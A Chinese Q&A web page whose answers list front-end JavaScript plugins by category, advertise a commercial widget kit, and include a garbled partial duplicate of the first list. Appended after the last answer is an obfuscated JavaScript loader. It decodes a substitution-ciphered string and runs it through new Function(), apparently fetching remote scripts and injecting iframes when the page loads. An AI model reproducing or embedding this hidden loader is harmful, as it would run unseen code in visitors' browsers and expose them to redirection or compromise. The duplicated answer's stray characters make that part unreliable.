前端页面的插件有哪些

2025-02-13 22:03:41
推荐回答(4个)
回答1:

工具类

方便操作对象,数组等的工具库

  • underscore.js

  • lo-dash 与underscore.js的api基本一致。与underscore比其优势是,效率高;可自定义构建

  • Sugar 在原生对象上增加一些工具方法

  • functional.js 提够了一些Curry的支持

  • Watch.js 监视对象或属性的变化

  • bacon.js 函数式编程,cool

  • streamjs 用流的方式来对数组,对象进行系列操作

异步流程控制

  • eventproxy 朴灵出品

  • Arbiter.js 详细

  • 发布订阅

  • q Promise风格的

  • Async.js

mock

  • Mock.js 生成随机数据和mock Ajax 请求

  • jquery-mockjax mock ajax请求

时间库

  • moment

  • datejs

浏览器探测

  • Bowser 探测具体浏览器和版本

  • ua-parser-js 探测具体浏览器和版本,操作系统,设备类型等

调试

  • console-polyfill 能放心的使用 console.log()之类的console方法

  • log 让控制台输出的log有样式

  • Konsole.js 在页面的一个元素里输出log信息 详细

  • uri.js uri操作

  • cookie 增删改cookie的工具库

  • director 前端路由库 详细

  • BigDecimal.js 提高精度的数字操作

  • JSDoc 根据javascript文件中注释的信息,生成API文档 详细

  • hotkeys 键盘事件的封装

  • MD5 用 MD5 的方式加密文件的库

浏览器增强类

让一些旧浏览器变牛逼的库

  • Selectivizr 让IE 6-8一些的css3选择器

  • ieBetter 让ie6-8有高级浏览器的特性

  • ExplorerCanvas 让IE8-的浏览器支持canvas

  • CSS3 Pie 让IE6-9支持border-radious,box-shadow,linear-gradient。 可以使用.htc文件(注意Mine type)或.js文件。在用Pie.js时,box-radious的元素有背景色时,不显示背景色。。。

  • formFive 让旧的浏览器支持HTML5表单的一些特性,如 placeholder,autofocus

  • https://github.com/anselmh/object-fit 让浏览器支持object-fit这css规则

  • HTML5 Cross Browser Polyfills 一堆Polyfills

  • flexibility 让旧的 IE 也支持 Flexbox

选择器增强

  • Lining.js 让浏览器实现类似::nth-line(), ::nth-last-line()的效果

未归类

  • prefixfree 用了它,写css时,就不需要加浏览器的前缀了

表单类

  • jquery-file-upload 上传文件组件 详细

  • zTree 文件树形视图控件

  • Treed 树编辑器。感觉展示的感觉很像思维导图

  • FileAPI 对文件选择框内的文件的一些处理

表单验证

  • .Validate 详细

  • jQuery-Validation-Engine

表单元素美化

  • uniform 提供对下拉框,单,复选框,按钮等表单元素的美化

  • select2 多选下拉框

  • selectivity 和unfirom比较类似

  • DropKick 下拉框,单,多选。外观比uniform好

  • switchery ios7风格的开关组件

  • nouislider 用滚动条来设置/控制(音量等)

  • range.css 美化input[type=range]元素的外观

图片类

  • holderjs 生成占位图片

  • lazyload

  • imagesLoaded 选取的图片都加载好后执行调回

  • CSSgram 用CSS3的Filter实现Instagram滤镜的库

图标类

  • Icon Font汇总

  • SVG做的图标

  • svgicons

  • iconic

  • HYBICON 带交互效果。如 hover, click

  • HTML字符实体图标

  • http://www.amp-what.com/

  • transformicons 图标点击时,会有一些变换效果。如,加号变成叉号

  • css3patterns css3 做的可平铺纹理。浏览器兼容性不好。

浏览图片

  • fancybox 弹出查看图片,视屏等等 demo

  • yoxview 弹出查看图片,图片尺寸缩放很自然

图片墙

  • wookmark

UI 框架

  • WeUI 由微信官方设计团队为微信 Web 开发量身设计。

  • Framework7

UI 组件类

拖拽

  • dragula 支持Draggable,Dropable和Sortable。感觉比jqueryUI的轻量级,好用的样子

  • angular-dragula dragular 官方的 angular 版本

数据可视化(图表)

  • Echarts 百度出品

  • highcharts 功能强大。是收费的。

  • Plottable.JS 基于D3的一个图表库

  • flot 文档不给力

  • chartJs 中文文档 demo很漂亮,很清晰。比较轻量级。

  • ichartJs 中国的一个家伙搞的,感觉还不错。

时间选取组件

  • foundation-datepicker

  • DatePicker 一个简单的日历 详细

  • full calendar 支持脱放的方式来改变待办事宜的时间

  • Simple Events Calendar 外观很喜欢。收费 5$

  • jQuery ui datepicker 经典,不是很好看

  • pickadate 轻量级,手机友好的,漂亮。但貌似只能在弹出层中显示,而没有下拉这种方式显示。

  • zebra-datepicker 可配置性很强。但貌似只能在弹出在右上方。。。

  • bootstrap-datepicker bootstrap风格。

  • dateRangePicker 选取时间段。bootstrap风格。该组件依赖Twitter Bootstrap, Moment.js和jQuery.

自定义滚动条

  • perfect scrollbar 轻量级的滚动条。外观与mac上chrome的滚动条一样。

  • iscroll 在移动设备上用不错

加载(Loding)效果

  • CSS Spinners CSS做的

  • Loaders.css CSS做的

表格组件

  • jsGrid Data Grid。 详细

  • backgrid 基于Backbone.js的DataGrid

  • excellentexport 把表格的内容生成excel。兼容 Firefox, Chrome, IE6+

  • datatables 表格可交互(对内容进行排序,删除等)

  • handsontable 生成Excel外观的数据

  • JSpreadsheets 表格数据的组件库

选取颜色

  • Spectrum

分享到SNS

  • JiaThis 生成分享代码。

编辑器

  • ace 代码编辑器,可以用来做demo演示

  • ckeditor

  • ueditor 百度做的

  • tinymce 对html内容进行实时的编辑

  • summernote 在移动设备上用不错

通知组件

  • notie.js

HTML5播放器

  • jwplayer 被大量网站使用

  • html5media 简单的h5player,轻量级

  • jplayer 功能强太,可换肤

展示

  • Impress.js 各种旋转,和奇特的体验

  • fullPage 全屏显示。用滚轮来翻页 详细

  • zepto.fullpage 专注于移动端的fullPage.js,依赖Zepto

  • pagePiling 和fullPage类似

  • turn.js 做一本书,带漂亮的翻页的效果

幻灯

  • slidesjs 挺好用的,只是那幻灯导航的CSS都要自己写,呵呵 详细

  • iSlider 无任何插件依赖的手机平台javascript滑动组件 详细

  • bgstretcher 全屏幻灯,会随着页面大小的变化而变化。

  • Swiper 开源、免费、强大的移动端触摸滑动插件 Swiper中文网

  • coin-slider 兼容IE6。蛮好的~。不过其切换方式是一块块的。不能配置切换方式。。。

  • wowslider 幻灯切换时各种很炫的效果。收费。

  • cycle2 普通的幻灯,竟然不支持垂直滚动。。。

  • jcarousel 普通的幻灯,不兼容IE6

  • reveal 3d滚动。做ppt相当不错

  • nodePPT 国人做的,做ppt也相当不错。有些方面比 reveal做的还好。但生成导出的html有些问题

  • roundabout 3d切换,看的后面图片的边

弹出框

  • Magnific-Popup 兼容PC,Mobile。还不错,有5k+的star

  • layer 国人开发的,兼容ie6+。不喜欢其调用方式。

动画效果

  • mixitup 用漂亮的动画效果来完成排序和筛选

  • jQuery.Marquee 跑马灯效果

  • quickflip 卡片翻转效果

  • 卡片翻转效果2 兼容性可以。写的比较简单:1,只支持x方向翻转 2,类名都是规定好的 3,只能被调用一次。 需要改写一下。我的改进版见这里

  • TheaterJS 模拟两个人在屏幕上对话

  • midnight.js 文字颜色随着背景变,屌炸了

  • color-animation jquery的颜色渐变动画插件。jquery的动画不支持颜色值的变化。改库提供了这个支持。

  • transit 对元素进行css的变换

  • tagcanvas 3D标签云效果 详细

  • iconate 图片切换动画

  • Snap.js 左/右侧导航的出现效果

  • CSS shake 抖动动画

  • ClickSpark.js 点击后的一些酷炫的效果

视觉差插件

  • scrollorama 比较简单

  • superscrollorama 能做的效果更多,但要用第三方Tween的库,使用起来比较复杂。

  • scrolldeck

flash

  • swfobj 能够自动检测PC、Mac机器上各种主流浏览器对Flash插件的支持情况。它使得插入Flash媒体资源尽量简捷、安全。而且它是非常符合搜索引擎优化的原则的。此外,它能够避免您的HTML、XHTML中出现object、embed等非标准标签,从而符合更加标准。 详细

抽奖

  • wScratchPad 刮刮卡刮奖效果

  • jqueryrotate 旋转插件。可以用来做转盘抽奖效果

  • 用户体验增强类

  • Intro.js 用来介绍网站的功能很不错。也可以做新手引导。

  • blockUI Lolding组件。

  • simple-hint 提示信息。用css做的。兼容性IE 9+。

  • dotdotdot 文字溢出时,添加在文字末尾加省略号

  • jQuery-menu-aim 二级菜单的切换如Amazon主页上一样迅速

  • AnythingZoomer 放大镜功能

  • 美化/高亮语法代码

  • google-code-prettify

  • DlHighlight 仅支持JavaScript、CSS、XML、HTML 这4语法高亮

  • please 按要求随机舒服的颜色

  • Awesomplete 输入的智能提示,自动补全

  • proTip 提示。感觉比 Bootstrap 的 tip 好

  • Hammerjs 手势库。封装了 Swipe, Tap, Pinch, Pan等手势

动画

  • velocity 提高Jquery动画的性能。以及颜色动画之类的新特性。

  • SVG

  • Snap.svg 操作 SVG 的 JS 库。号称 SVG 的 jQuery。demo

  • walkway 以动画的方式,渐渐地画出 SVG 的路径。

测试

  • Mocha

  • Chai

  • Should

  • Snoion

  • DeviceMock.js mock 设备。

其他类

  • ZeroClipboard 将内容复制到剪切板兼容主流浏览器的解决方案 详细

  • html2canvas html转化成canvas,可以用来做截图。详细

  • Ink 响应式html邮件框架

  • 性能测试

  • 抓取,解析RSS内容(不能跨域,所以后台要做代理,所谓的解析Rss其实就是解析xml)

  • jFeed

  • jRss 简单版的jFeed

  • scriptcam 与摄像头交互

  • cylon.js 机器人框架,支持35个平台

  • Masonry 一个瀑布流框架

  • devices.css 移动设备边框的外观。做原型的时候用不错。

  • Bootstrap相关类

  • Bootbox.js 对bootstrap的弹出框做的一些封装

  • 免费皮肤

  • AdminLTE

JS Plugins仓库

  • jQuery Cards 高质量的 jQuery 插件网站

  • jster

  • node modules

  • npmrank Sort npm packages by page rank

  • YOU MIGHT NOT NEED JQUERY PLUGINS 不依赖 jQuery 的 js 插件。

  • awesome-nodejs

  • Libraries.io 各种语言的库

  • OniUI 去哪儿网做的一套基于Avalon的框架

    常用的移动端框架

    zepto.js

    语法与jquery几乎一样,会jquery基本会zepto~

    最新版本已经更新到1.16

    iscroll.js

    解决页面不支持弹性滚动,不支持fixed引起的问题~

    实现下拉刷新,滑屏,缩放等功能~

    最新版本已经更新到5.0

    underscore.js

    笔者没用过,不过听说好用,推荐给大家~

    该库提供了一整套函数式编程的实用功能,但是没有扩展任何JavaScript内置对象。

    最新版本已经更新到1.8.2

    滑屏框架

    适合上下滑屏、左右滑屏等滑屏切换页面的效果

    slip.js

    iSlider.js

    fullpage.js

    swiper.js

    flex布局

    flex布局目前可使用在移动中,并非所有的语法都全兼容,效果良好~

回答2:

这里推荐一款轻量级前端开发工具包:WijmoJS网页链接

WijmoJS核心控件包含:

WijmoJS Core:新一代 HTML5开发工具包,用最新的前端技术创建最炫酷的企业 Web 应用。网页链接

金融图表:纯前端金融图表,基于点开即用和可视化的设计理念,可即时创建令人惊叹的高级股票趋势图网页链接

前端OLAP:毫秒级处理、汇总成千上万行数据,无需服务器依赖的企业应用 网页链接

类Excel网格控件:类似 Excel 的 JavaScript 网格控件,提供排序,格式化,分页和灵活的数据绑定等功能网页链接

MultiRow:以堆叠的方式直观地呈现单元格数据,减少了需要水平滚动查看额外列的需求网页链接

ReportViewer:轻量级的报表查看器,可在您的 Web 应用中快速查看报表数据网页链接

回答3:

工具类bai

方便操作对象,数组等的du工具库

underscore.js

lo-dash 与underscore.js的api基本一致zhi。与underscore比其优势是,效率高;可自定dao义构建

Sugar 在原生对象上增加一些工具方法

functional.js 提够了一些Curry的支持

Watch.js 监视对象或属性的变化

bacon.js 函数式编程,cool

streamjs 用流的方式来对数组,对象进行系列操作

异步流程控制

eventproxy 朴灵出品

Arbiter.js 详细

发布订阅

q Promise风格的

Async.js

mock

Mock.js 生成随机数据和mock Ajax 请求

jquery-mockjax mock ajax请求

回答4:

有N种插件;百度搜索一搜一大把,根据自己需求使用就好了

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();